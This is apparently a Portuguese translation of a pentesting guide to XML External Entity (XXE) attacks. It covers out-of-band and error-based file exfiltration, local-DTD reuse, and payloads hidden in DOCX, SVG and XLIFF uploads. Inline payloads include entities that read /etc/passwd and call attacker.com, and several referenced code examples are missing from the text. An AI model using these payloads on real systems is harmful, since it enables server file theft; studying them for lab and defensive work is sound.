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XML é uma linguagem de marcação projetada para armazenamento e transporte de dados, apresentando uma estrutura flexível que permite o uso de tags com nomes descritivos. Diferentemente do HTML, não é limitado a um conjunto de tags predefinidas. A importância do XML diminuiu com o surgimento do JSON, apesar de seu papel inicial na tecnologia AJAX.
* **Representação de Dados por Meio de Entidades**: As entidades em XML permitem a representação de dados, incluindo caracteres especiais como `<` e `>`, que correspondem a `<` e `>` para evitar conflitos com o sistema de tags do XML.
* **Definição de Elementos XML**: XML permite a definição de tipos de elementos, delineando como os elementos devem ser estruturados e que conteúdo podem conter, variando de qualquer tipo de conteúdo a elementos filhos específicos.
* **Definição de Tipo de Documento (DTD)**: DTDs são cruciais no XML para definir a estrutura do documento e os tipos de dados que pode conter. Podem ser internos, externos ou uma combinação, orientando como os documentos são formatados e validados.
* **Entidades Personalizadas e Externas**: XML suporta a criação de entidades personalizadas dentro de uma DTD para representação flexível de dados. Entidades externas, definidas com uma URL, levantam preocupações de segurança, especialmente no contexto de ataques de Entidade Externa XML (XXE), que exploram a forma como os analisadores XML lidam com fontes de dados externas: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **Detecção de XXE com Entidades de Parâmetro**: Para detectar vulnerabilidades de XXE, especialmente quando métodos convencionais falham devido a medidas de segurança do analisador, podem ser utilizadas entidades de parâmetro XML. Essas entidades permitem técnicas de detecção fora de banda, como acionar pesquisas de DNS ou solicitações HTTP para um domínio controlado, para confirmar a vulnerabilidade.
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
[**A maioria desses ataques foi testada usando os incríveis laboratórios XEE da Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
Em aplicações baseadas em **Java**, pode ser possível **listar o conteúdo de um diretório** via XXE com um payload como (apenas solicitando o diretório em vez do arquivo):
Usando a **técnica comentada anteriormente** você pode fazer o servidor acessar um servidor que você controla para mostrar que ele é vulnerável. Mas, se isso não estiver funcionando, talvez seja porque **as entidades XML não são permitidas**, nesse caso você poderia tentar usar **entidades de parâmetros XML**:
**Nesta ocasião, vamos fazer o servidor carregar um novo DTD com um payload malicioso que enviará o conteúdo de um arquivo via solicitação HTTP (**para **arquivos de várias linhas, você pode tentar exfiltrá-lo via**_**ftp://**_ usando este servidor básico, por exemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicação é baseada no** [**laboratório da Portswigger aqui**](https://portswigger.net/web-security/xxe/blind)**.**
* Uma entidade de parâmetro XML, `%file`, é criada, lendo o conteúdo do arquivo `/etc/hostname`.
* Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma solicitação HTTP para o servidor do atacante, passando o conteúdo da entidade `%file` na string de consulta da URL.
Este payload define uma entidade de parâmetro XML `%xxe` e a incorpora dentro do DTD. Quando processado por um analisador XML, este payload busca o DTD externo no servidor do atacante. O analisador então interpreta o DTD inline, executando as etapas descritas no DTD malicioso e levando à exfiltração do arquivo `/etc/hostname` para o servidor do atacante.
**Neste caso, vamos fazer o servidor carregar um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
Uma mensagem de erro de análise XML, revelando o conteúdo do arquivo `/etc/passwd`, pode ser acionada usando uma Definição de Tipo de Documento (DTD) externa maliciosa. Isso é realizado através dos seguintes passos:
1. Uma entidade de parâmetro XML chamada `file` é definida, que contém o conteúdo do arquivo `/etc/passwd`.
2. Uma entidade de parâmetro XML chamada `eval` é definida, incorporando uma declaração dinâmica para outra entidade de parâmetro XML chamada `error`. Esta entidade `error`, quando avaliada, tenta carregar um arquivo inexistente, incorporando o conteúdo da entidade `file` como seu nome.
3. A entidade `eval` é invocada, levando à declaração dinâmica da entidade `error`.
4. A invocação da entidade `error` resulta em uma tentativa de carregar um arquivo inexistente, produzindo uma mensagem de erro que inclui o conteúdo do arquivo `/etc/passwd` como parte do nome do arquivo.
_**Por favor, observe que a DTD externa nos permite incluir uma entidade dentro da segunda (****`eval`****), mas isso é proibido na DTD interna. Portanto, você não pode forçar um erro sem usar uma DTD externa (geralmente).**_
Uma brecha na especificação da linguagem XML pode **expor dados sensíveis por meio de mensagens de erro quando a DTD de um documento mescla declarações internas e externas**. Esse problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques de XXE baseados em erro. Tais ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em uma DTD externa, de dentro de uma DTD interna. Quando as conexões fora de banda são bloqueadas pelo servidor, os atacantes devem depender de arquivos DTD locais para realizar o ataque, com o objetivo de induzir um erro de análise para revelar informações sensíveis.
Considere um cenário em que o sistema de arquivos do servidor contém um arquivo DTD em `/usr/local/app/schema.dtd`, definindo uma entidade chamada `custom_entity`. Um atacante pode induzir um erro de análise XML revelando o conteúdo do arquivo `/etc/passwd` enviando uma DTD híbrida da seguinte forma:
* A definição de uma entidade de parâmetro XML chamada `local_dtd` inclui o arquivo DTD externo localizado no sistema de arquivos do servidor.
* Uma redefinição ocorre para a entidade de parâmetro XML `custom_entity`, originalmente definida no DTD externo, para encapsular um [exploit XXE baseado em erro](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Essa redefinição é projetada para provocar um erro de análise, expondo o conteúdo do arquivo `/etc/passwd`.
* Ao empregar a entidade `local_dtd`, o DTD externo é acionado, abrangendo a entidade `custom_entity` recém-definida. Essa sequência de ações precipita a emissão da mensagem de erro visada pelo exploit.
**Exemplo do mundo real:** Sistemas que utilizam o ambiente de desktop GNOME frequentemente possuem um DTD em `/usr/share/yelp/dtd/docbookx.dtd` contendo uma entidade chamada `ISOamso`.
Como essa técnica usa um **DTD interno, você precisa encontrar um válido primeiro**. Você pode fazer isso **instalando** o mesmo **SO / Software** que o servidor está usando e **procurando alguns DTDs padrão**, ou **obtendo uma lista** de **DTDs padrão** dentro dos sistemas e **verificando** se algum deles existe:
Além disso, se você tiver a **imagem Docker do sistema da vítima**, você pode usar a ferramenta do mesmo repositório para **escanear** a **imagem** e **encontrar** o caminho dos **DTDs** presentes no sistema. Leia o [Readme do GitHub](https://github.com/GoSecure/dtd-finder) para aprender como.
Para uma explicação mais aprofundada deste ataque, **verifique a segunda seção deste** [**post incrível**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **do Detectify**.
A capacidade de **fazer upload de documentos do Microsoft Office é oferecida por muitas aplicações web**, que então procedem a extrair certos detalhes desses documentos. Por exemplo, uma aplicação web pode permitir que os usuários importem dados fazendo upload de uma planilha no formato XLSX. Para que o analisador extraia os dados da planilha, ele inevitavelmente precisará analisar pelo menos um arquivo XML.
Para testar essa vulnerabilidade, é necessário criar um **arquivo do Microsoft Office contendo um payload XXE**. O primeiro passo é criar um diretório vazio para o qual o documento pode ser descompactado.
Depois que o documento for descompactado, o arquivo XML localizado em `./unzipped/word/document.xml` deve ser aberto e editado em um editor de texto preferido (como o vim). O XML deve ser modificado para incluir o payload XXE desejado, frequentemente começando com uma solicitação HTTP.
As linhas XML modificadas devem ser inseridas entre os dois objetos XML raiz. É importante substituir o URL por um URL monitorável para as solicitações.
Por fim, o arquivo pode ser compactado para criar o arquivo malicioso poc.docx. A partir do diretório "unzipped" previamente criado, o seguinte comando deve ser executado:
Agora, o arquivo criado pode ser enviado para a aplicação web potencialmente vulnerável, e pode-se esperar que uma solicitação apareça nos logs do Burp Collaborator.
O protocolo **jar** é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um arquivo **PKZIP** (por exemplo, `.zip`, `.jar`, etc.), atendendo a arquivos locais e remotos.
Ser capaz de acessar arquivos dentro de arquivos PKZIP é **super útil para abusar do XXE via arquivos DTD do sistema.** Confira [esta seção para aprender como abusar dos arquivos DTD do sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Uma técnica interessante para interromper esse processo na segunda etapa envolve manter a conexão do servidor aberta indefinidamente ao servir o arquivo de arquivo. Ferramentas disponíveis neste [repositório](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) podem ser utilizadas para esse fim, incluindo um servidor Python (`slow_http_server.py`) e um servidor Java (`slowserver.jar`).
Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de modelo, XSLT RCE, desserialização, etc).
Ao integrar dados do cliente em documentos XML do lado do servidor, como aqueles em solicitações SOAP do backend, o controle direto sobre a estrutura XML é frequentemente limitado, dificultando os ataques XXE tradicionais devido a restrições na modificação do elemento `DOCTYPE`. No entanto, um ataque `XInclude` fornece uma solução ao permitir a inserção de entidades externas dentro de qualquer elemento de dados do documento XML. Este método é eficaz mesmo quando apenas uma parte dos dados dentro de um documento XML gerado pelo servidor pode ser controlada.
Para executar um ataque `XInclude`, o namespace `XInclude` deve ser declarado, e o caminho do arquivo para a entidade externa pretendida deve ser especificado. Abaixo está um exemplo sucinto de como tal ataque pode ser formulado:
Arquivos enviados por usuários para determinadas aplicações, que são então processados no servidor, podem explorar vulnerabilidades na forma como os formatos de arquivo XML ou que contenham XML são tratados. Formatos de arquivo comuns como documentos de escritório (DOCX) e imagens (SVG) são baseados em XML.
Quando os usuários **enviam imagens**, essas imagens são processadas ou validadas no servidor. Mesmo para aplicações que esperam formatos como PNG ou JPEG, a **biblioteca de processamento de imagens do servidor também pode suportar imagens SVG**. O SVG, sendo um formato baseado em XML, pode ser explorado por atacantes para enviar imagens SVG maliciosas, expondo assim o servidor a vulnerabilidades de XXE (Entidade Externa XML).
Em ambos os casos, o formato SVG é usado para lançar ataques que exploram as capacidades de processamento XML do software do servidor, destacando a necessidade de validação de entrada robusta e medidas de segurança.
Verifique [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para mais informações!
**Observe que a primeira linha do arquivo lido ou do resultado da execução aparecerá DENTRO da imagem criada. Portanto, você precisa ser capaz de acessar a imagem que o SVG criou.**
Se uma solicitação POST aceita os dados em formato XML, você pode tentar explorar um XXE nessa solicitação. Por exemplo, se uma solicitação normal contém o seguinte:
Para alterar a solicitação, você pode usar uma Extensão do Burp chamada "**Content Type Converter**". [Aqui](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) você pode encontrar este exemplo:
Você pode usar a \[**"Receita de Codificação**" do cyberchef aqui ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformar para UTF-7.
Se a web estiver usando PHP, em vez de usar `file:/`, você pode usar **invólucros php**`php://filter/convert.base64-encode/resource=` para **acessar arquivos internos**.
Você pode criar uma **entidade dentro de uma entidade** codificando-a com **entidades html** e então chamá-la para **carregar um dtd**.\
Observe que as **Entidades HTML** usadas precisam ser **numéricas** (como \[neste exemplo]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
Este exemplo é inspirado em [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) é utilizado para padronizar a troca de dados em processos de localização. É um formato baseado em XML usado principalmente para transferir dados localizáveis entre ferramentas durante a localização e como um formato de troca comum para ferramentas de TAC (Tradução Assistida por Computador).
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Este método revela que o User Agent indica o uso do Java 1.8. Uma limitação observada nesta versão do Java é a incapacidade de recuperar arquivos contendo um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.
Exfiltração de Dados Baseada em Erros Para superar essa limitação, é empregada uma abordagem baseada em erros. O arquivo DTD é estruturado da seguinte forma para acionar um erro que inclui dados de um arquivo alvo:
Esta modificação leva à exfiltração bem-sucedida do conteúdo do arquivo, conforme refletido na saída de erro enviada via HTTP. Isso indica um ataque bem-sucedido de XXE (Entidade Externa XML), aproveitando técnicas Out of Band e Error-Based para extrair informações sensíveis.
XML External Entity (XXE) é uma vulnerabilidade que permite a um atacante ler arquivos no servidor. O atacante pode explorar essa vulnerabilidade enviando um XML malicioso que faz referência a um arquivo no servidor, e o servidor responde com o conteúdo desse arquivo.
XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se um usuário malicioso pode fazer com que um aplicativo use dados arbitrários em uma chamada ao método **readObject**, ele instantaneamente obterá execução de código no servidor.
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